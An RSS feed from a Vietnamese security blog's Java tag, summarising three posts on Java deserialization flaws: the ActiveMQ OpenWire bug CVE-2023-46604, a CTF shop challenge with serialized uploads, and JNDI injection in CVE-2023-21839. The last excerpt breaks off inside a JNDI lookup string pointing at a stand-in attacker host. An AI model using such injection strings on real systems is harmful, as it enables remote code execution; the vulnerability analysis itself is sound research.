<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Java on shibajutsu</title><link>https://blog.shiba.onl/tags/java/</link><description>Recent content in Java on shibajutsu</description><generator>Hugo</generator><language>vn</language><copyright>© shibajutsu</copyright><lastBuildDate>Wed, 26 Nov 2025 00:00:00 +0700</lastBuildDate><atom:link href="https://blog.shiba.onl/tags/java/index.xml" rel="self" type="application/rss+xml"/><item><title>Phân tích CVE-2023-46604</title><link>https://blog.shiba.onl/posts/cve-2023-46604/</link><pubDate>Wed, 26 Nov 2025 00:00:00 +0700</pubDate><guid>https://blog.shiba.onl/posts/cve-2023-46604/</guid><description>CVE-2023-46604 CVE-2023-46604 là lỗ hổng RCE trong Apache ActiveMQ. Nguyên nhân xuất phát từ việc giải tuần tự (deserialization) dữ liệu không an toàn trong giao thức OpenWire – giao thức mặc định của ActiveMQ.
ActiveMQ và OpenWire ActiveMQ ActiveMQ là một message broker mã nguồn mở, viết bằng Java và là một dự án của Apache. Nó cung cấp khả năng gửi/nhận tin nhắn ứng dụng theo mô hình decoupled (queue và publish/subscribe).</description></item><item><title>Gadget Store</title><link>https://blog.shiba.onl/posts/gadget-store/</link><pubDate>Fri, 26 Sep 2025 21:00:00 +0700</pubDate><guid>https://blog.shiba.onl/posts/gadget-store/</guid><description>Tóm tắt Đây là một challenge web trong khuôn khổ sự kiện Smart Banking 6th.
Trang web là một cửa hàng cho phép người dùng mua hàng, các sản phẩm đã mua sẽ được lưu trong session. Khi người dùng export thông tin mua hàng, thông tin mua hàng sẽ được serialized và người dùng tải về, ngược lại người dùng cũng có thể upload file .ser (chứa data đã serialized) để import thông tin mua hàng mua mình.</description></item><item><title>Phân tích CVE-2023-21839</title><link>https://blog.shiba.onl/posts/cve-2023-21839/</link><pubDate>Tue, 10 Jun 2025 00:00:00 +0700</pubDate><guid>https://blog.shiba.onl/posts/cve-2023-21839/</guid><description>Phân tích CVE-2023-21839 Overview JNDI Java Naming Directory Interface là một API của cho phép các ứng dụng Java tìm kiếm, truy xuất và quản lý các đối tượng hoặc tài nguyên được đăng ký trong một hệ thống danh mục.
Dưới đây là ví dụ quá trình tìm và sử dụng đối tượng/tài nguyên:
flowchart TD A["Khởi tạo Context: new InitialContext()"] --> B["Gọi phương thức lookup()"] B --> C[Kết nối tới dịch vụ Naming/Directory Service] C --> D[Tra cứu đối tượng theo tên] D -- Nếu tìm thấy --> E[Trả về đối tượng] D -- Nếu không tìm thấy --> F[Throw NameNotFoundException] E --> G[Sử dụng đối tượng trong ứng dụng] F --> H[Xử lý lỗi và thông báo] JNDI Injection Là việc kẻ tấn công có thể thao túng quá trình tìm và load đối tượng/tài nguyên (lookup(), ${jndi:ldap://attacker.</description></item></channel></rss>